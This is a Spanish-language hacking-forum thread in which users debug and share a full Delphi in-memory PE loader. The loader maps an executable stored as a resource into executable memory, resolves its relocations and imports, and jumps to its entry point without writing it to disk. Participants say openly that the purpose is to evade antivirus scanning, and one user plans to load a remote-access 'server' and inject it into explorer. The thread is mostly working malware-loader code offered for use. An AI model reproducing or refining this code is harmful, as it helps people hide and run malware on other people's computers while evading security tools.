• problema con ejecucion en memoria

 #471907  por joselin
 29 May 2015, 10:00
estoy traduciendo el codigo de este link
[ Debe registrarse para ver este enlace ]
y falla al cargar la tabla de importacion de direcciones , si alguien tiene idea de como seguir que me diga por que estoy estancado.
 #471909  por Naker90
 29 May 2015, 11:34
Hola Joselin no entiendo mucho de delphi pero para cargar los valores del OPTIONAL HEADER debes pasarle como puntero a la estructura el valor de "IMAGE_OPTIONAL_HEADER" que se encuentra dentro de la estructura de IMAGE_NT_HEADERS ([ Debe registrarse para ver este enlace ]), y creo que no se lo estas pasando.
Saludos Bro
 #471983  por Pink
 30 May 2015, 15:09
Hola feo. Ahí te dejo el código corregido. (Disculpa que no te marque lo corregido pero anda comparando y veras) en pocas palabras una estructura mala, aumentar algunos punteros operaciones de bit. etc.
//-------------------------------------------------------------------------------------------
//                  PoC - [Base Relocation]
//
//Descripción: Ejecuta un archivo mapeado en memoria sin guardarlo en disco
//Autor: Hacker_Zero
//Fecha: 18-8-2009
//Basado en: <!-- m --><a class="postlink" href="http://www.joachim-bauch.de/tutorials/load_dll_memory.html" onclick="window.open(this.href);return false;" data-original-title="" title="">http://www.joachim-bauch.de/tutorials/l ... emory.html</a><!-- m -->
// modificaciones 2015 joselin(Gay)
//-----------------------------------------------------------------------------------------

unit Unit1;

interface


uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
    const
IMAGE_REL_BASED_HIGHLOW = 3;
type
PImageImportDescriptor = ^TImageImportDescriptor;
TImageImportDescriptor = packed record
CharacteristicsOriginalFirstThunk: DWord;
TimeDateStamp: DWord;
ForwarderChain: DWord;
Name: DWord;
FirstThunk: DWord;
  END;
//imagebase
   PImageBaseRelocation = ^TImageBaseRelocation;
   TImageBaseRelocation = packed record
   VirtualAddress: DWORD;
   SizeOfBlock: DWORD;
    END;
      PImageImportByName = ^TImageImportByName;
      TImageImportByName = packed record
      Hint:WORD;
      Name: packed array[0..0] of char;

  END;
        _u1=packed record
                 case Integer of
                 0: (ForwarderString:PByte);
                 1: (Functionn:PDWORD);
                 2: (Ordinal: DWORD);
                 3: (AddressOfData:PImageimportbyname)
END;

      PImageThunkData = ^TImageThunkData;
      TImageThunkData = packed record
       u1:_u1;
   END;
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  IDH:  PIMAGEDOSHEADER ;
    INTH:PIMAGENTHEADERS ;
  ISH:PIMAGESECTIONHEADER ;
  IBR: PImageBaseRelocation;
  IID : PImageImportDescriptor;
   ITD: PImageThunkData ;
   IIBN: PImageImportByName ;
implementation



{$R *.dfm}
 procedure ejecutarenmemoria;
 
     var
   //recursos***
     hResource:thandle;
     HGlobal : thandle;
     FileSize :dword;
     //
    lpfilemaped:pansichar;
     exebuffer:pansichar;
     i:integer;
     delta :dword;
    RelocationBlock:pansichar;
    RelocationEntry:PWORD;  //^Word;??
    types :dword;
    offset:dword;
    newAddr:pdword;
    HLIB:HMODULE;
    EntryPoint:dword;
    dwTemp:dword;
  begin
 
hResource := FindResource(HInstance, 'EXE', RT_RCDATA);
if hResource = 0 then Exit;
HGlobal := LoadResource(HInstance, hResource);
if HGlobal = 0 then Exit;
FileSize := SizeOfResource(HInstance, hResource);
lpFileMaped :=LockResource(hGlobal);
 
//Obtenemos la cabecera DOS y PE en las estructuras
    IDH  :=PIMAGEDOSHEADER(@lpFileMaped[0]);
    INTH :=PIMAGENTHEADERS(@lpFileMaped[IDH._lfanew]);
       showmessage(pansichar(idh));
       showmessage(pansichar(inth));

   //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
exebuffer :=pansichar (VirtualAlloc(nil, INTH^.OptionalHeader.SizeOfImage,MEM_COMMIT or MEM_RESERVE , PAGE_EXECUTE_READWRITE));
 
         if exebuffer = nil then
          showmessage('exebuffer = nil')
          else
           showmessage('valor sizeimage difiere del que me da lordpe:  '+ inttohex(integer(exebuffer),8)+#13#10+
          'creo que esta bien asi');
 
    //Copiamos la cabecera DOS y PE al buffer
    CopyMemory(@ExeBuffer[0],@lpFileMaped[0],INTH^.OptionalHeader.SizeOfHeaders);

    //Copiamos las secciones en su VirtualOffset en el buffer
        showmessage('Secciones: '+inttostr(INTH^.FileHeader.NumberOfSections));
  for i := 0 to  INTH^.FileHeader.NumberOfSections - 1 do

  begin
    //ISH := @lpFileMaped[IDH^._lfanew + 248 + i * 40];
    ISH :=(PIMAGESECTIONHEADER(@lpFileMaped[IDH._lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]));

  CopyMemory(@ExeBuffer[ISH.VirtualAddress],@lpFileMaped[ISH.PointerToRawData],ISH.SizeOfRawData);

      end;
      showmessage('exebuffer: '+INTTOSTR(INTEGER(EXEBUFFER))+' - '+'imagebase:'+ inttostr(INTH^.OptionalHeader.ImageBase));
    //Calculamos el delta entre la dirección del buffer y el ImageBase
Delta:= dword(exebuffer) -(INTH^.OptionalHeader.ImageBase);
showmessage('cabezera copiada :  ' +exebuffer + ' valor delta '+ inttostr(delta));
 
    //------------------------------------------------------------
    //* -Reubicamos la dirección base del ejecutable :D- */
    //------------------------------------------------------------
  
    //Si no hay tabla de reubicación, salimos
 
if(INTH^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)= 0  then
begin
         showmessage('No se ha encontrado Tabla de Reubicaciones\nImposible cargar el archivo');
 
Exit;
   end
   else begin
 
    //Obteemos el Image Base Relocation
ibr :=(PImageBaseRelocation(ExeBuffer+INTH^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress));
 
    //Vamos recorriendo todas las etradas del bloque
 while ibr.VirtualAddress <> 0 DO
 begin

        //Obtenemos el Bloque de reubicación
    RelocationBlock :=(ExeBuffer)+(IBR.virtualAddress);
        //Obtenemos la primera entrada del bloque
    RelocationEntry :=(PWORD(LPSTR(IBR)+sizeof(TImageBaseRelocation)));
        //Recorremos todas las entradas del bloque

for  i:= 0 to(trunc((IBR.SizeOfBlock - sizeof(TImageBaseRelocation))/2)-1) do

  begin

  //Obtenemos los 4 bits que definen el tipo de reubicación
 Types:= ((WORD(RelocationEntry^) shr 12));  

    //Obtenemos los 12 bits que definen la dirección de la reubicación
        offset :=(RelocationEntry^ and $FFF);   

    //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
   if types = IMAGE_REL_BASED_HIGHLOW then  begin
          newAddr :=(PDWORD(RelocationBlock+offset));
                    newAddr^ := Delta+(DWORD(newAddr^));

         END;

                inc(RelocationEntry);
        //Vamos al siguiente bloque
        IBR := PIMAGEBASERELOCATION(DWORD(IBR) + IBR.SizeOfBlock);

 END;

    END;
 
    //---------------------------------------------------------------------
 //* -Cargamos los valores de la IAT para poder llamar a las apis- */
    //---------------------------------------------------------------------
//Comprobamos si hay Import Data Descriptor
    if (INTH^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0) then
  begin
           //
        IID :=PIMAGEIMPORTDESCRIPTOR(exebuffer+(INTH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));

    //Vamos recorriendo todas las Dll's importadas por el ejecutable
     showmessage(exebuffer+inttostr(INTH^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));


  while (IID^.Name <> 0) do begin
              ShowMessage(pansichar(ExeBuffer+IID^.Name));
            //Cargamos la dll
             hLib := LoadLibraryA(pansichar(ExeBuffer+IID^.Name));

            //Obtenemos la dirección al primer miembro del array Image Thunk Data's
            ITD :=PImageThunkData((ExeBuffer)+IID^.FirstThunk);
                inc(IID);
            //Vamos recorriendo las funciones importadas
            while ITD^.u1.Ordinal <> 0 do begin

                //Cargamos el Image Import By Name para obtener el nombre
            IIBN := PIMAGEIMPORTBYNAME(dword(pdword(ExeBuffer))+dword(ITD^.u1.Functionn));
                //Obtenemos la dirección de la función y la guardamos en la IAT
                ITD^.u1.Functionn :=pdword(GetProcAddress(hLib,(@IIBN^.Name)));
                 ShowMessage(pansichar(@IIBN^.Name));
             inc(ITD);
        end;
 
    //Obteemos el EntryPoint de ejecutable que cargamos en el buffer
     EntryPoint :=DWORD(ExeBuffer)+(INTH^.OptionalHeader.AddressOfEntryPoint);
        end;

    //CreateThread(nil,dwTemp,@EntryPoint,nil,dwTemp,dwTemp);
    // Llamamos al EntryPoint
      asm
      mov eax,EntryPoint
      call eax
      end;

    end;
       
   end;

   end;
procedure TForm1.Button1Click(Sender: TObject);
begin
    ejecutarenmemoria;
end;

end.
Saludos Gay
 #471992  por M3
 30 May 2015, 18:07
Exacto @pink , con esto se canbia la forma como los boludos avs analizam nuestros archivos y listo , si lo encuentro en mi otro notebook lo posteo aca
 #471993  por Blau
 30 May 2015, 18:11
¿Podría ser mover un archivo a la carpeta Startup con MoveFileEx y el flag MOVEFILE_DELAY_UNTIL_REBOOT y luego provocar BSOD? No creo que funcione y no creo que lo pruebe
 #471994  por M3
 30 May 2015, 18:19
Blau escribió:¿Podría ser mover un archivo a la carpeta Startup con MoveFileEx y el flag MOVEFILE_DELAY_UNTIL_REBOOT y luego provocar BSOD? No creo que funcione y no creo que lo pruebe
jaja , nada que ver compadre, pasa que el boludo Avast hace algun tiempo , en quando se bypassea algun archivo ( el DS no deja crear archivo en disco mientras se esta analizando ) provoca un BSOD a lo sistema

sld
 #472132  por joselin
 01 Jun 2015, 02:48
gracias pink , nunca complete las declaraciones de la estructura pense que si no se usaban no debian estar , pero no es asi
y el incremento de (itd++)
no supe como aplicarlo y el resto de los errores ni idea
una duda :
EntryPoint :=dword(ExeBuffer )+(INTH^.OptionalHeader.AddressOfEntryPoint);
porque se suma el exebuffer
y al ejecutar en asm no hay caso , pero estoy viendo mejorar el CreateThread que vi en otro source
despues que termine quiero meterle al recurso un server y ver que pasa
y posteriormente inyectarlo a explorer...muajajajaja
gracias tiburon blanco!! ...............digo pink
 #472146  por Pink
 01 Jun 2015, 03:58
Pues la verdad no eran muchos errores. Creo q me excedi con el etc. Es muy importante tener la estructura completa porque a la hora del incremento lo hace en base al tamano de la misma.

En cuanto a tu pregunta recuerda q exebuffer es una direccion de memoria. Entonces es tu referencia porque ahi copias tu ejecutable por consiguiente tu direccion del punto de entrada es relativa a ella de otra forma si intentaras solo con la direccion del punto de entrada no obtendrias la direccion correcto porq seiria la direccion estatica y no la virtual-relativa.

Si a la final vas a injectar en explorer pierdes el concepto principal del codigo q es ejecutar un ejecutable sin necesidad de usar otro proceso. Espero te sirva la respuesta. No me extendi mucho porq estoy escribiendo desde un celu y ni mio es. Me tarde como 30 minutos para escribir. Lo q digo cabe la posibilidad q este errado en algo porq se me han olvidado cosas hacia tiempo q no tocaba el tema. Si te quedan dudas me avisas y cuando este en el pc te respondo. Saludos bro. Gay :P
 #472570  por joselin
 07 Jun 2015, 21:00
tenes razon pink mescle peras con manzanas ,
a medida que voy leyendo ejemplos y manuales voy entendiendo como va .
estoy trabajando en este codigo para dejarlo en fuentes , empeze a estudiar el formato
pe con mas detenimiento
estoy verde pero dentro de poco va a salir el producto final
y va ser uno de los ultimos aportes relacionados al mal llamado malware .
me gusto tu programa de sonido en autoit (yo use un componente de terceros para alivianar, jaja)
y crack81 buen codigo
saludos
haaaa saludos a m3 siempre vas un paso adelante brasuca!!

cita extraida de [ Debe registrarse para ver este enlace ]:
le desimos brasucas a los brasileros.No por discriminacion si no por "cariño" como a los italianos "TANOS" o a los españoles "GALLEGOS" .Espero que te sirva mi respuesta//
 #472593  por Pink
 08 Jun 2015, 01:54
y ami mi como me diras por cariño ¬¬.

Saludos bro cualquier cosa necesites que este a mis posibilidades no dudes en decirme. ;)
 #475187  por joselin
 21 Jul 2015, 07:53
no termino de irme mas! sigo posteando
ya va a llegar.
pink ya tengo triangulada tu pocicion arriba de argentina al costado de brasil abajo de mexico
falta menos y cuendo te localize te doy apodo.